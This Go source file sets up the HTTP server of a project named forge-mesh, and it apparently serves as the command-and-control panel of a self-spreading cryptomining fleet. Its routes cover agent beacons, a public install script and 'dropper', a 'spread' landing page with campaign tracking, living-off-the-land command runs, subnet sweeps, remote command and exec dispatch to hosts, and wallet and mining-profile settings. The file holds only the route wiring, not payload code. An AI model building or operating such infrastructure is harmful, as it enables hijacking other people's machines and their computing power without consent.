257 lines
9.3 KiB
Go
257 lines
9.3 KiB
Go
package api
|
|
|
|
import (
|
|
"database/sql"
|
|
"io"
|
|
"io/fs"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
"forge-mesh/internal/alerts"
|
|
"forge-mesh/internal/api/handlers"
|
|
"forge-mesh/internal/auth"
|
|
"forge-mesh/internal/config"
|
|
"forge-mesh/internal/court"
|
|
"forge-mesh/internal/erasure"
|
|
"forge-mesh/internal/fleet"
|
|
"forge-mesh/internal/forge"
|
|
)
|
|
|
|
// Server is the forge-mesh HTTP control plane.
|
|
type Server struct {
|
|
cfg *config.Config
|
|
mux http.Handler
|
|
staticFS fs.FS
|
|
}
|
|
|
|
// NewServer wires routes, fleet hub, and static SPA handler.
|
|
func NewServer(
|
|
cfg *config.Config,
|
|
db *sql.DB,
|
|
staticFS fs.FS,
|
|
version, installTmplPath, publicKeyHex string,
|
|
) (*Server, error) {
|
|
store := fleet.NewStore(db)
|
|
_ = store.SeedDemoHost()
|
|
|
|
tickets := auth.NewTicketStore(5 * time.Minute)
|
|
hub := fleet.NewHub(store, cfg.Auth.FleetSecret, tickets)
|
|
crucible := fleet.NewCrucibleStore(100)
|
|
|
|
tgCfg := alerts.Config{
|
|
Enabled: cfg.Telegram.Enabled,
|
|
BotToken: cfg.Telegram.BotToken,
|
|
ChatID: cfg.Telegram.ChatID,
|
|
}
|
|
notifier := alerts.New(tgCfg)
|
|
|
|
public, err := handlers.NewPublicHandlers(db, cfg.Forge.ArtifactsDir, publicKeyHex, installTmplPath)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
public.FleetSecret = cfg.Auth.FleetSecret
|
|
public.Version = version
|
|
|
|
pipeline, err := forge.NewPipeline(db, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath,
|
|
filepath.Join("cmd", "agent"), version)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
clearance := cfg.OperatorClearance
|
|
fleetH := &handlers.FleetHandler{
|
|
Store: store, Hub: hub, Alerts: notifier, Cfg: cfg, OperatorClearance: clearance,
|
|
}
|
|
crucibleH := &handlers.CrucibleHandler{
|
|
Store: store, Hub: hub, Crucible: crucible, Alerts: notifier, OperatorClearance: clearance,
|
|
}
|
|
policyH := &handlers.PolicyHandler{Cfg: cfg, Store: store}
|
|
forgeH := &handlers.ForgeHandler{DB: db, Pipeline: pipeline, Version: version}
|
|
seerH := &handlers.SeerHandler{
|
|
Store: store,
|
|
Username: cfg.Auth.BasicUsername,
|
|
Password: cfg.Auth.BasicPassword,
|
|
}
|
|
authH := &handlers.AuthHandlers{Tickets: tickets}
|
|
opH := &handlers.OperatorHandler{Clearance: clearance}
|
|
dropperH := &handlers.DropperHandler{
|
|
DB: db,
|
|
PublicKeyHex: publicKeyHex,
|
|
FleetSecret: cfg.Auth.FleetSecret,
|
|
Version: version,
|
|
}
|
|
erasureH := &handlers.ErasureHandler{Service: erasure.NewService(db)}
|
|
policySnapH := &handlers.PolicySnapshotHandler{DB: db}
|
|
warRoomH := &handlers.WarRoomHandler{DB: db}
|
|
wgH := &handlers.WireGuardHandler{DB: db}
|
|
crucibleLegacy := &handlers.CrucibleLegacy{CrucibleHandler: crucibleH}
|
|
|
|
courtSvc := court.New(db, cfg.Court, store)
|
|
intelDeps := handlers.IntelligenceDeps{
|
|
Store: store,
|
|
Subnet: &fleet.SubnetMapper{Store: store},
|
|
Earn: &fleet.EarnGate{Store: store, Config: fleet.DefaultEarnConfig()},
|
|
}
|
|
courtDeps := handlers.CourtDeps{Court: courtSvc, Seer: court.NewSeerHub(db)}
|
|
|
|
mux := http.NewServeMux()
|
|
|
|
// Public
|
|
mux.HandleFunc("GET /api/v1/health", handlers.Health(version))
|
|
mux.HandleFunc("GET /install.sh", public.InstallSh)
|
|
mux.HandleFunc("GET /get", public.GetRedirect)
|
|
mux.HandleFunc("GET /spread/", handlers.SpreadLander(db))
|
|
mux.HandleFunc("GET /spread", handlers.SpreadLander(db))
|
|
mux.HandleFunc("GET /api/v1/public/builds", handlers.PublicBuildsList(db))
|
|
mux.HandleFunc("GET /api/v1/public/builds/latest", public.LatestBuild)
|
|
mux.HandleFunc("GET /api/v1/public/download/{id}", public.Download)
|
|
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}", erasureH.GetBundle)
|
|
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", erasureH.GetShard)
|
|
mux.HandleFunc("GET /api/v1/public/policy-snapshot/{token}", policySnapH.Get)
|
|
mux.HandleFunc("GET /api/v1/public/campaign/track", handlers.TrackCampaign(db))
|
|
|
|
// Agent (fleet secret)
|
|
mux.Handle("POST /api/v1/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
|
http.HandlerFunc(hub.HandleBeacon(store))))
|
|
mux.Handle("POST /api/v1/fleet/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
|
http.HandlerFunc(hub.HandleBeacon(store))))
|
|
mux.Handle("POST /api/v1/fleet/register", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
|
http.HandlerFunc(fleetH.Register)))
|
|
mux.HandleFunc("GET /api/v1/ws/agent", hub.HandleAgentWS)
|
|
mux.HandleFunc("GET /api/v1/ws/fleet", func(w http.ResponseWriter, r *http.Request) {
|
|
if r.URL.Query().Get("ticket") != "" {
|
|
hub.HandleDeckWS(w, r)
|
|
return
|
|
}
|
|
hub.HandleAgentWS(w, r)
|
|
})
|
|
|
|
// Protected (Basic auth)
|
|
protected := http.NewServeMux()
|
|
protected.HandleFunc("GET /api/v1/fleet", fleetH.List)
|
|
protected.HandleFunc("GET /api/v1/fleet/hosts", fleetH.List)
|
|
protected.HandleFunc("GET /api/v1/fleet/{id}/lotl/timeline", fleetH.LOTLTimeline)
|
|
protected.HandleFunc("GET /api/v1/fleet/{id}/timeline", handlers.Timeline(courtDeps))
|
|
protected.HandleFunc("POST /api/v1/fleet/{id}/lotl/run", handlers.RunLOTL(intelDeps))
|
|
protected.HandleFunc("GET /api/v1/fleet/{id}/spread-gate", handlers.SpreadGate(intelDeps))
|
|
protected.HandleFunc("GET /api/v1/fleet/subnets", handlers.SubnetList(intelDeps))
|
|
protected.HandleFunc("POST /api/v1/fleet/subnets", handlers.SubnetAdd(intelDeps))
|
|
protected.HandleFunc("POST /api/v1/fleet/subnets/sweep", handlers.SubnetSweep(intelDeps))
|
|
protected.HandleFunc("POST /api/v1/court/sessions", handlers.CourtOpen(courtDeps))
|
|
protected.HandleFunc("POST /api/v1/court/sessions/{id}/deliberate", handlers.CourtDeliberate(courtDeps))
|
|
protected.HandleFunc("POST /api/v1/court/sessions/{id}/verdict", handlers.CourtVerdict(courtDeps))
|
|
protected.HandleFunc("POST /api/v1/fleet/{id}/command", fleetH.Command)
|
|
protected.HandleFunc("POST /api/v1/fleet/{id}/action", fleetH.HostAction)
|
|
protected.HandleFunc("POST /api/v1/fleet/{id}/mining-profile", fleetH.PushMiningProfile)
|
|
protected.HandleFunc("GET /api/v1/dropper", dropperH.Info)
|
|
protected.HandleFunc("GET /api/v1/operator/me", opH.Me)
|
|
protected.HandleFunc("POST /api/v1/ws/ticket", authH.WSTicket)
|
|
protected.HandleFunc("GET /api/v1/forge/builds", forgeH.ListBuilds)
|
|
protected.HandleFunc("POST /api/v1/forge/builds/trigger", forgeH.TriggerBuild)
|
|
protected.HandleFunc("GET /api/v1/policy/wallet", policyH.GetWallet)
|
|
protected.HandleFunc("PUT /api/v1/policy/wallet", policyH.PutWallet)
|
|
protected.HandleFunc("GET /api/v1/policy/mining-profile", policyH.GetMiningProfile)
|
|
protected.HandleFunc("PUT /api/v1/policy/mining-profile", policyH.PutMiningProfile)
|
|
protected.HandleFunc("POST /api/v1/policy/snapshot", policySnapH.Create)
|
|
protected.HandleFunc("GET /api/v1/calibrate/profiles", handlers.CalibrateProfiles(cfg))
|
|
protected.HandleFunc("POST /api/v1/crucible/batch", crucibleLegacy.Batch)
|
|
protected.HandleFunc("GET /api/v1/crucible/batch/{id}", crucibleLegacy.BatchGet)
|
|
protected.HandleFunc("POST /api/v1/crucible/exec", crucibleLegacy.Exec)
|
|
protected.HandleFunc("POST /api/v1/crucible/dispatch", crucibleH.Dispatch)
|
|
protected.HandleFunc("GET /api/v1/crucible/jobs/{id}", crucibleH.GetJob)
|
|
protected.HandleFunc("GET /api/v1/crucible/history", crucibleH.History)
|
|
protected.HandleFunc("GET /api/v1/seer", handlers.SeerAPIStream(store, cfg.Auth.BasicUsername, cfg.Auth.BasicPassword))
|
|
protected.HandleFunc("GET /api/v1/war-room/campaigns", warRoomH.ListCampaigns)
|
|
protected.HandleFunc("GET /api/v1/wireguard/peers", wgH.ListPeers)
|
|
protected.HandleFunc("POST /api/v1/wireguard/peers", wgH.CreatePeer)
|
|
protected.HandleFunc("GET /api/v1/wireguard/config", wgH.RenderConfig)
|
|
protected.HandleFunc("GET /seer", seerH.Stream)
|
|
|
|
authWrap := auth.BasicAuthMiddleware(cfg.Auth.BasicUsername, cfg.Auth.BasicPassword)
|
|
mux.Handle("/api/v1/", authWrap(protected))
|
|
mux.Handle("/seer", authWrap(http.HandlerFunc(seerH.Stream)))
|
|
|
|
// Static SPA (React build embedded in webroot)
|
|
if staticFS != nil {
|
|
fileServer := http.FileServer(http.FS(staticFS))
|
|
mux.Handle("/", spaFallback(staticFS, fileServer))
|
|
}
|
|
|
|
return &Server{cfg: cfg, mux: mux, staticFS: staticFS}, nil
|
|
}
|
|
|
|
func (s *Server) Handler() http.Handler {
|
|
return s.mux
|
|
}
|
|
|
|
func spaFallback(staticFS fs.FS, next http.Handler) http.Handler {
|
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
if strings.HasPrefix(r.URL.Path, "/api/") || r.URL.Path == "/install.sh" || r.URL.Path == "/get" || strings.HasPrefix(r.URL.Path, "/spread") {
|
|
http.NotFound(w, r)
|
|
return
|
|
}
|
|
|
|
path := strings.TrimPrefix(r.URL.Path, "/")
|
|
if path == "" {
|
|
path = "index.html"
|
|
}
|
|
|
|
if _, err := fs.Stat(staticFS, path); err != nil {
|
|
// Client-side route — serve index.html
|
|
if data, err := fs.ReadFile(staticFS, "index.html"); err == nil {
|
|
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
|
w.Write(data)
|
|
return
|
|
}
|
|
}
|
|
|
|
next.ServeHTTP(w, r)
|
|
})
|
|
}
|
|
|
|
// SyncWebroot copies web/dist into cmd/server/webroot for go:embed.
|
|
func SyncWebroot(distDir, webrootDir string) error {
|
|
if err := os.RemoveAll(webrootDir); err != nil {
|
|
return err
|
|
}
|
|
return copyDir(distDir, webrootDir)
|
|
}
|
|
|
|
func copyDir(src, dst string) error {
|
|
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil {
|
|
return err
|
|
}
|
|
rel, err := filepath.Rel(src, path)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
target := filepath.Join(dst, rel)
|
|
if info.IsDir() {
|
|
return os.MkdirAll(target, 0o755)
|
|
}
|
|
return copyFile(path, target)
|
|
})
|
|
}
|
|
|
|
func copyFile(src, dst string) error {
|
|
if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
|
|
return err
|
|
}
|
|
in, err := os.Open(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer in.Close()
|
|
out, err := os.Create(dst)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer out.Close()
|
|
_, err = io.Copy(out, in)
|
|
return err
|
|
}
|